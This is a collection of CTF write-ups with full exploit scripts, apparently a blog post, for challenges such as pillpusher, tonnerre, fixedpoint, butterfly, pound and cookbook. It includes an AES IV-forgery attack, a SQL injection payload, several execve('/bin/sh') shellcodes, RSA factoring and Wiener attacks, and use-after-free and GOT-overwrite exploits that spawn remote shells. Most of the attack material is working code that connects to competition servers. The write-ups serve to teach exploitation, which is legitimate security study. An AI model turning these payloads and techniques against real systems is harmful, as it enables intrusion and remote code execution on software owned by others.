In LogonRequest, there are three things we know: Plaintext (Nonce | U ), IV, and Ciphertext.

We can manipulate IV so that the first 16 bytes of ticket is decrypted to whatever string we want.


challengeCookie: Nonce (8B) | User (null-terminated) | Timestamp

ticket: Identity | Timestamp


Set User to be 'ups":["admin"]}' prepended by 8 dummy characters, and we will modify IV so the first 16 bytes of ticket is decrypted to be '{"user":"x","gro' (without single quotes).



import argparse
import sys
import socket
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
import time
from struct import pack
from base64 import b64encode, b64decode
from pwn import *

def readNullTerminatedString(f):
    buf = b''
    while True:
        if len(buf) > 1 << 20:
            raise Exception("Overly long input")
        c = f.read(1)
        if len(c) == 0:
            raise Exception("End of stream reached")
        if ord(c) == 0:        # Indicates NULL termination of a UTF-8 string.
            break
        buf += c
    return unicode(buf, encoding="utf-8", errors="strict")

def toNullTerminatedUtf8(s):
    return unicode(s).encode("utf-8") + "\x00"

def getCurrentTimestamp():
	return time.time() * 1000

class Client:

    nonceLengthInBytes = 8

    def __init__(self, host, port, username):
        self.username = username
        self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._socket.setblocking(1)
        self._socket.connect((host, port))
        self._f = self._socket.makefile("rw")

    def close():
        self._f.close()
        self._socket.close()

    def execute(self, command):
        self._sendMessage_Command(command)
        return self._expectMessage_CommandResult()

    def _sendMessage_LogonRequest(self):
        self._f.write("\x01")
        self._f.write(toNullTerminatedUtf8(self.username))
        self._f.flush()

    def _expectMessage_LogonChallenge(self):
        self._expectMessageType(0x02)
        nonce = self._readBytes(self.nonceLengthInBytes)
        challengeCookie = self._expectString()
        return (nonce, challengeCookie)

    def _sendMessage_Command(self, command):
        self._f.write("\x06")
        self._f.write(toNullTerminatedUtf8(self.ticket))
        self._f.write(toNullTerminatedUtf8(command))
        self._f.flush()

    def _expectMessage_CommandResult(self):
        messageType = self._readMessageType()
        if messageType == 0x07:
            result = self._expectString()
            return result
        elif messageType == 0x05:
            sys.stderr.write("Unauthorized\n")
            exit(1)
        else:
            raise Exception("Unexpected message type: 0x%02x" % messageType)

    def _readMessageType(self):
        messageTypeByte = self._readBytes(1)
        if (len(messageTypeByte) == 0):
            raise Exception("Server has disconnected")
        return ord(messageTypeByte)

    def _expectMessageType(self, expectedMessageType):
        messageType = self._readMessageType()
        if messageType != expectedMessageType:
            raise Exception("Unexpected message type: 0x%02x" % messageType)

    def _readBytes(self, nBytes):
        result = self._f.read(nBytes)
        if len(result) != nBytes:
            raise Exception("Connection was closed")
        return result

    def _expectString(self):
        buf = b''
        while True:
            if len(buf) > 1 << 20:
                raise Exception("Overly long input")
            c = self._f.read(1)
            if len(c) == 0:
                raise Exception("End of stream reached")
            if ord(c[0]) == 0:        # Indicates NULL termination of a UTF-8 string.
                break
            buf += c
        return unicode(buf, encoding="utf-8", errors="strict")


def pad(data):
	result = data
	nPadBytes = AES.block_size - len(data) % AES.block_size
	for i in range(0, nPadBytes):
		result += chr(nPadBytes)
	return result

def s_xor(s1, s2):
    assert len(s1) == len(s2)
    return ''.join(map(chr, [ord(a) ^ ord(b) for (a, b) in zip(s1, s2)]))

def get_intermediary(p, c, iv):
    return s_xor(iv + c[:-AES.block_size], p)

if __name__ == "__main__":
     client = Client('127.0.0.1', int(sys.argv[1]), 'X'*8 + 'ups":["admin"]}')

    client._sendMessage_LogonRequest()
    (nonce, challengeCookie) = client._expectMessage_LogonChallenge()
    timestamp = getCurrentTimestamp()
    p = pad(nonce + toNullTerminatedUtf8(client.username) + p64(timestamp))
    c = b64decode(challengeCookie)
    iv, c = c[:AES.block_size], c[AES.block_size:]
    print 'P:',p.encode('hex')
    print 'C:',c.encode('hex')
    print 'IV:',iv.encode('hex')
    inter = get_intermediary(p, c, iv)
    print 'Inter:',inter.encode('hex')

    new_iv = s_xor(inter[:AES.block_size], '{"user":"x","gro')
    print 'new_IV:',new_iv.encode('hex')
    client.ticket = b64encode(new_iv + c)
    print 'ticket:',(client.ticket).encode('hex')

    print client.execute("getflag")


pillpusher

It is a huge binary and static so hard to reverse. Inside sub_407027, it calls sub_408da4 which is thought to be strcat(). Its 2nd argument is pill's name so if we put lots of characters when adding pill, its 1st argument which is a buffer from sub_4076e2 will be overflowed. buffer is at EBP-0x210 so we need at least 536 Bytes to control RIP. Pill's name is at most 256 Bytes so we need to trigger strcat() at least 3 times. It asks for how many pills to add and if the number exceeds 2, count is fixed to 2. However, the signed comparison is performed so any negative number will pass the check.



Plus, adding a pill with 256 Byte name and listing the pill will leak the address near structures, and luckily that region is both writable and executable so add another pill with its name containing shellcode.

Here's full exploit: (sorry for its untidiness)


from pwn import *
import sys
from time import sleep

context.log_level = 'debug'

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

p = remote("pillpusher_a3b929dac1a7ca27fe5474bae0432262.quals.shallweplayaga.me",43868)
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("A"*256)
p.recvuntil("Schedule: ")
p.sendline("")
p.recvuntil(": ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("3")
sleep(0.5)
data = p.recvuntil("-> ")
addr = u64(data[0x106:0x106+6]+"\x00\x00")
addr += 456+64+200

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("\x90"*200+shellcode)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline("B"*244+"\x00")
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
pillname = "\x02"*(36)+ p64(addr)

p.sendline("1")
p.recvuntil("Pill Name: ")
p.sendline(pillname)
p.recvuntil("Dosage: ")
p.sendline("0")
p.recvuntil("Schedule: ")
p.sendline("0")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")

p.sendline("6")
p.recvuntil("-> ")

p.sendline("3")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("2147483647")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("4")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil(": ")
p.sendline("Y")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("1")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil("? ")
p.sendline("P1")
p.recvuntil("Add pills. Blank line to quit.\n: ")
p.sendline(pillname)
sleep(0.5)
p.recvuntil(": ")
p.sendline("B"*244+"\x00")
sleep(0.5)
p.recvuntil(": ")
p.sendline("")
sleep(0.5)
p.recvuntil(": ")
p.sendline("p1")
p.recvuntil(": ")
p.sendline("")
p.recvuntil("-> ")
p.sendline("5")
p.recvuntil("-> ")

p.sendline("5")
p.recvuntil("-> ")
p.sendline("1")
p.recvuntil(": ")
p.sendline("P1")
p.recvuntil("-> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("1")
p.recvuntil("-> ")
p.sendline("3")
p.recvuntil(": ")
p.sendline("pat1")
p.recvuntil("-> ")
p.sendline("4")
p.recvuntil(": ")
p.sendline("-1")
for i in range(2):
	p.recvuntil("Add pill: ")
	p.sendline("B"*244+"\x00")
p.recvuntil("Add pill: ")
p.sendline(pillname)
p.recvuntil("Add pill: ")
p.sendline("")
p.interactive()


  1. camcos 2020.11.24 00:36

    유용한 글 매우 잘 보고 가요


public_server_ea2e768e20e89fb1aafbbc547cdb4636.py

We can leak the verifier by putting the following query in ID(Finding db name and table name must be preceded):

' union select verifier from users limit 1#

If \( c=g^2 \mod N \) then

\[ \begin{align} \mbox{session_secret} & =(g^2)^\mbox{random_server} \mod N \\ & =(g^\mbox{random_server})^2 \mod N \\ & =\mbox{public_server}^2 \mod N \end{align} \]

public_server can be easily computed by \( \mbox{residue} - \mbox{verifier} + N \). To find out which public_client makes \( c=\mbox{public_client} \times \mbox{verifier}=g^2 \mod N \), we need to compute \[ \mbox{public_client}=g^2 \times \mbox{verifier}^{-1} \mod N \].

from Crypto.Hash import SHA256
from socket import *

def mul_inv(a, n):
	if n == 1: return 1
	
	b0 = n
	x0, x1 = 0, 1
	
	while a > 1:
		q = a / n
		a, n = n, a%n
		x0, x1 = x1 - q * x0, x0
	if x1 < 0: x1 += b0
	return x1

N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L
verifier = 0xebedd14b5bf7d5fd88eebb057af43803b6f88e42f7ce2a4445fdbbe69a9ad7e7a76b7df4a4e79cefd61ea0c4f426c0261acf5becb5f79cdf916d684667b6b0940b4ac2f885590648fbf2d107707acb38382a95bea9a89fb943a5c1ef6e6d064084f8225eb323f668e2c3174ab7b1dbfce831507b33e413b56a41528b1c850e59
public_client = mul_inv(verifier,N)*g**2 % N

def H(P):
	h = SHA256.new()
	h.update(P)
	return h.hexdigest()

def tostr(A):
	return hex(A)[2:].strip('L')

s=socket(2,1)
s.connect(("tonnerre.pwning.xxx",8561))
print s.recv(1024)
s.send("get_flag\n")
s.send(hex(public_client).strip("0x").strip("L")+"\n")
print s.recv(1024)
residue = int(s.recv(1024), 16)
public_server = residue - verifier
while public_server < 0:
	public_server += N
session_secret = (public_server)**2 % N
session_key = H(tostr(session_secret))
s.send(H(tostr(residue) + session_key)+"\n")
print s.recv(1024)
print s.recv(1024)

FLAG: PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}


fixedpoint_ae55a0eef8e55c22fe0b9ba2affeff67.c

0/1337.0=3a44119e, 0xffffffff/1337.0=4a44119e so we can only use gadgets between the range. All I had to do was change push   0x68732f6e and push   0x69622f2f (5-byte instructions) to mov al,(each char); dec esp; mov BYTE PTR [esp],al.

Below is formatted as gadget, Integer:Floating Point. 45 is inc esp, 46 is inc esi, which serve as NOP in the shellcode.

31 d2                   xor    edx,edx
89389b:45d23190
52                      push   edx
44bb50:45529090
b0 68                   mov    al,0x68
4bf422:4568b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 73                   mov    al,0x73
4f8b52:4573b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 6e                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x6e
4de982:456eb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 2f                   mov    al,0x69
4c47b2:4569b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 62                   mov    al,0x62
49fec2:4562b090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
b0 69                   mov    al,0x2f
395912:452fb090
4c                      dec    esp
42c5f0:454c9090
88 04 24                mov    BYTE PTR [esp],al
d626ea:46240488
89 e3                   mov    ebx,esp
948b2e:45e38990
52                      push   edx
44bb50:45529090
53                      push   ebx
450ee0:45539090
89 e1                   mov    ecx,esp
933cee:45e18990
8d 42 0b                lea    eax,[edx+0xb]
2d74e9:450b428d
cd 80                   int    0x80
15058ca:4680cd90

FLAG: PCTF{why_isnt_IEEE_754_IEEE_7.54e2}



butterfly_33e86bcc2f0a21d57970dc6907867bed

0x20041c6 = 0x400838<<3 | 6 will call start again and again, making us bit-flip until we want.

Put shellcode 0x400f00, but examine the original value and if the bit is different, flip it.

original = '\x00\x00\x00\x00\x03\x00\x0f\x00\x90\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x10\x00\x04\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x11\x00\x10\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x12\x00l\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x13\x00\xa0\t@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x14\x00\xb8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x15\x00\xc0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x16\x00\xc8\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x17\x00\xd0\n`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x18\x00\xb0\x0c`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x19\x00\xb8\x0c`\x00\x00\x00\x00\x00'
patched = '\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42'
base_addr = 0x400f00
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then I need  call the shellcode, so I patched 0x40086b with:

48 c7 c7 00 0f 40 00    mov    rdi,0x400f00

ff d7                   call   rdi

original='bf42094000e8fbfdff'.decode('hex')
patched= '48c7c7000f4000ffd7'.decode('hex')
base_addr = 0x40086b
for N,(i,j) in enumerate(zip(original, patched)):
	addr = base_addr + N
	addr <<= 3
	for k in range(8):
		if (ord(i) & (1<<k)) != (ord(j) & (1<<k)):
			print hex(addr | k)

Then trigger 0x40086b by entering 0.

FLAG: PCTF{b1t_fl1ps_4r3_0P_r1t3}

The challenge is composed of two parts. A python wrapper and pound binary.

Local File Inclusion vulnerability exists in the python wrapper and you can easily get the source code of pound by entering 1 followed by ../pound.c. (Of course, the name of the flag is not ../flag.txt or something predictable)

host_bfc6a768d1cccc49f1cd4b880bfdac9c.py

pound.c

In the second menu, you get to input two numbers, L1 and L2, the number of state's citizens. It gets compiled as a macro. However, the wrapper does not check whether the value of L1 and L2 is solely composed of digits. So we can put characters like N, which is defined as const int N=1024 in pound.c.

In propagate_forward() function, length_diff is defined as L2 - L1. If there is any way that makes length_diff bigger than the real difference, we may overwrite variables beyond s2_citizens, like announcement.

When learning C programming, we learnt that we must ALWAYS ENCLOSE EVERY VARIABLE IN BRACKETS using define macro. However, pound.c does not obey the rule so if we put L1=L2=1+N, L2-L1 becomes 1+N-1+N=2N when real difference is 0. By the time it reaches second for statement inside propagate_forward(), i is N+1 and length_diff is 2N so it starts overwriting 2N=2048 bytes starting from s1_name to announcement and so on. Overwrite announcement with sscanf@LIBC and print_states() will leak the address, and create announcement will overwrite sscanf@GOT. Payload would be as follows.

'z'x510 (state name 1)

'z'x510 (state name 2)

1

2147483647

2

134524972 (sscanf@GOT)

0 (Leaks memory)

2

64 (fill announcement_length to avoid announcement being overwrited inside create_announcement())

4

16

system@libc

4

/bin/sh


from pwn import *

context.log_level='debug'

s = remote("pound.pwning.xxx",9765)
#s = remote("localhost",8006)

raw_input()

print s.recvuntil("3. Quit")
s.sendline("2")
print s.recvuntil("State 1 Size:")
s.sendline("1+N")
print s.recvuntil("State 2 Size:")
s.sendline("1+N")

print s.recvuntil("first state:")
s.sendline("z"*510)

print s.recvuntil("second state:")
s.sendline("z"*510)

print s.recvuntil("Enter Your Choice: ")
s.sendline("1")

print s.recvuntil("Enter the amount to set the states in: ")
s.sendline("2147483647")

print s.recvuntil("Enter Your Choice: ")

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("134524972") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("0")

x = s.recvuntil("Enter Your Choice: ")
import re
sscanf_libc = u32(re.findall("PSA: (.+)", x)[0][:4])
system_libc = sscanf_libc - 0x15f10
print hex(sscanf_libc), hex(system_libc)

s.sendline("2")
print s.recvuntil("Enter the amount to propagate: ")
s.sendline("64") # sscanf@got

print s.recvuntil("Enter Your Choice: ")
s.sendline("4")
print s.recvuntil("Enter the length of your announcement: ")
s.sendline("16\n"+p32(system_libc))

print s.recvuntil("Enter Your Choice: ")
#s.sendline("4")
#print s.recvuntil("Enter the length of your announcement: ")
s.sendline("/bin/sh")
s.interactive()


FLAG: PCTF{pr3pr0cess0rMacr0s@areFuture}

You can extract N and e by a series of commands:

$ PUBKEY=`grep -v -- ----- 1.pub | tr -d '\n'`
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i
$ echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 18

or 

openssl asn1parse -in 1.pub
openssl asn1parse -in 1.pub -strparse 18



(thanks to http://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key)


#1

I found a nice tool: http://www.sympy.org/en/index.html

p=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987245583L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password=  'XtCgoEKksjKFWlqOSxqsEhK/+tsr1k5c'


#2

N shared common factor, previous q

p=12401828372292379853813876769631673931562555174641979554254424458038243058638417065284301266881242433017828663818811606556559256084249679274024474025282343L
q=9733382803370256893136109840971590971460094779242334919432347801491641617443615856221168611138933576118196795282443503609663168324106758595642231987246769L
Password= 'rlSpJ6HbP+cZXaOuSPOe4pgfevGnXtLt'


#3

Use factorint again

p=158304142767773473275973624083670689370769915077762416888835511454118432478825486829242855992134819928313346652550326171670356302948444602468194484069516892927291240140200374848857608566129161693687407393820501709299228594296583862100570595789385365606706350802643746830710894411204232176703046334374939501731L
q=54311
Password= 'hQdK+dKleMJqth/dofWyFaiWp3PW7jil'

#4
Use wiener attack (thanks to https://github.com/ctfs/write-ups-2015/blob/master/plaidctf-2015/crypto/curious/wiener_attack.py)

p=10843221374140991753173625949764386011485161421520044246309105053489500519257941272796681417497061734054081478280518835582353321569961722963922828311576983L
q=10114792273660656874618568712406420344176220457790563178092222929337786916374923318745284718351487926620784106195715878875311958793629905453919697155685507L
Password= '/3aAP5dF2zmrPh9K6A4AqMLsIiYDk2C2'


※ alternatively,

openssl rsa -text -in 1.pub

FLAG: BKPCTF{Its_not_you,_its_rsa_(that_is_broken)}


There exists a Use-After-Free bug when discarding a recipe in sub_8049092() because it doesn't assign 0x804d0a0 to NULL after freeing.


Memory Leak exists where it prints recipe. Let's call the address in 0x804d0a0 "ptr", and when a recipe is printed, the address to which ptr+116 is pointing is leaked.

cndq => Allocate and Free 0x804d0a0 (generates dangling ptr)

ang, "A"x116 + address to leak, => new ingredient on ptr

cp => Leak


Memory Overwrite occurs when freeing a node in linked list. Let's take a look.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

In this situation, freeing node2 will assign node2->next to node1->next.

We can overwrite ptr+0 and ptr+4 the same way we leaked memory, each of which is pointing to a linked list respectively.

So if we overwrite ptr+4 to 0x804a098, it will look like this:

     node1 (0x804d098)           node2 (ptr1)        node3 (0x804d034 = strtoul-4)
+------------+              +---------------------+              +------------+
| ingredient |       |----->| ingredient (calory) |       |----->| ingredient |
|------------|       |      |---------------------|       |      |------------|
|    next    |-------|      |    next (price)     |-------|      |    next    |
+------------+              +---------------------+              +------------+

Because node2 is an ingredient object, we can manipulate node2 by setting a calory and price.

Deleting node2 will make node1's next point to 0x804d034. There is a reason for this specific address 0x804d034. After freeing node2, the function iterates all the nodes in linked list to count the nodes, and node3->next(strtoul@libc)->next is NULL. I tried several other addresses but it all failed, accessing every next address until next is NULL.

     node3 (0x804d034)               node4 (strtoul)
+--------------------+              +------------+
|     ingredient     |       |----->| ingredient |
|--------------------|       |      |------------|
|    next (strtoul)  |-------|      |   next(0)  |
+--------------------+              +------------+

Freeing node2 will make node1->next point to 0x804d034, then we can overwrite strtoul's GOT to system by setting ingredien'ts price. After that, there's a part where user input goes into strtoul at adding ingredients in recipe.


Final exploit code is as follows. (haven't got the time to make code clean..)

# -*- coding: utf-8 -*-
# BKPCTF{hey_my_grill_doesnt_work_here}
from socket import *
from struct import pack, unpack
from time import sleep
import re
import yum3

p = lambda x: pack("<I", x)
up = lambda x: unpack("<I", x)[0]

s = socket(2,1)
s.connect(('cookbook.bostonkey.party', 5000))

yum3.recv_until(s, "what's your name?\n")
s.send("asdf\n")
print 'asdf'
yum3.recv_until(s, "[q]uit\n")

##### [1] LEAK puts & calc system
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x804d030) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")

puts_addr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
system_addr = puts_addr - 161776
print 'system:', hex(system_addr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [2] LEAK 0x804d0a0
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(0x0804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

h804d0a0 = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'h804d0a0:',hex(h804d0a0)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [3] add recipe: water, corn, tomato
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("corn\n")
print 'corn'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("tomato\n")
print 'tomato'
yum3.recv_until(s, "how many? (hex): ")
s.send("1\n")
print '1'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [4] LEAK 0x804d0a0 => to put in second node for freeing
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("g\n")
print 'g'
s.send("A"*116 + p(h804d0a0) +"\n")
print '"A"*116....'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("p\n")
print 'p'
data = yum3.recv_until(s, "[q]uit\n")
print data

original_ptr = up(re.findall(r"recipe type: (.+)", data)[0][:4])
print 'original_ptr:',hex(original_ptr)

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [5] make a fake second node
# [cur_ingredient (need to be pointing a real one to prevent dying in free()) | next (=strtoul-4) ]
s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("n\n")
print 'n'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send("134533172\n")
print 'p %08x' % 134533172 # 0x804d038-4 => strtoul-4
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [6] overwrite first node to 0x804d098
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("d\n")
print 'd'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("g\n")
print 'g'
yum3.recv_until(s, "how long is the name of your cookbook? (hex because you're both a chef and a hacker!) : ")

s.send("f\n")
s.send(p(original)+p(0x0804d098)+'\x00\n')
print 'f original/0x0804d098'
yum3.recv_until(s, "[q]uit\n")

##### [7] free second node => [0x804d098+4] = 0x804d034
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("r\n")
print 'r'
yum3.recv_until(s, "which ingredient to remove? ")

s.send("corn\x00\n")
print 'corn'
yum3.recv_until(s, "[q]uit\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("s\n")
s.send(str(original)+"\n")
print 's %08x' % original
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("p\n")
s.send(str(system_addr-0x100000000)+"\n") # to fit %d
print 'p %08x' % system_addr
yum3.recv_until(s, "[e]xport saving changes (doesn't quit)?\n")

s.send("q\n")
print 'q'
yum3.recv_until(s, "[q]uit\n")

##### [8] trigger
s.send("c\n")
print 'c'
yum3.recv_until(s, "[q]uit\n")

s.send("a\n")
print 'a'
yum3.recv_until(s, "which ingredient to add? ")
s.send("water\n")
print 'water'
yum3.recv_until(s, "how many? (hex): ")
s.send("/bin/sh\n")
print '/bin/sh'

yum3.shell(s)

'''
cndq
ang
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
q
cp

c
a"water"
a"corn"
a"tomato"
q

an => 0x0804d098+4에 뭔가 있음
s 0x0804f6f0 = 0x804f2b0에 들어있는 original node값 # 134543088 # for freeing
p &strtoul@got 0x804d038-4 = 134533172
q
cdq
g 20
0x804f2b0: 0x0804f6c0 0x0804f2b8 ...
set *0x804f2b0= 원래 0x804f2b0에 들어있는 값
set *0x804f2b4= 0x0804d098

c
r"corn"
a
p  &system
q

c
a water
/bin/sh
'''



sub_8049092() 함수에서 recipe를 discard할 때 free만 해주고 0x804d0a0는 0으로 만들지않아 Use After Free가 가능하다.

특히 free를 해둔 뒤 새로운 ingredient를 할당하면 같은 주소에 malloc되는데, 이를 이용해 ingredient도 Use After Free가 가능하다.

Memory Leak은 Recipe를 프린트해주는 곳에서 발생한다. Recipe를 프린트할 때 0x804d0a0에 담긴 주소를 ptr이라고 할 때, ptr+116번째 주소를 leak해준다.

cndq => 0x804d0a0 할당 후 해제

ang, "A"x116 + leak할 주소, => 그 위에 new ingredient

cp => Leak


Memory Overwrite는 링크드리스트를 해제할 때 일어난다. 다음 그림을 살펴보자.

     node1                       node2                       node3
+------------+              +------------+              +------------+
| ingredient |       |----->| ingredient |       |----->| ingredient |
|------------|       |      |------------|       |      |------------|
|    next    |-------|      |    next    |-------|      |    next    |
+------------+              +------------+              +------------+

이 상태에서 node2를 해제하게되면 node1의 next포인터가 node2의 next포인터로 덮어써진다.

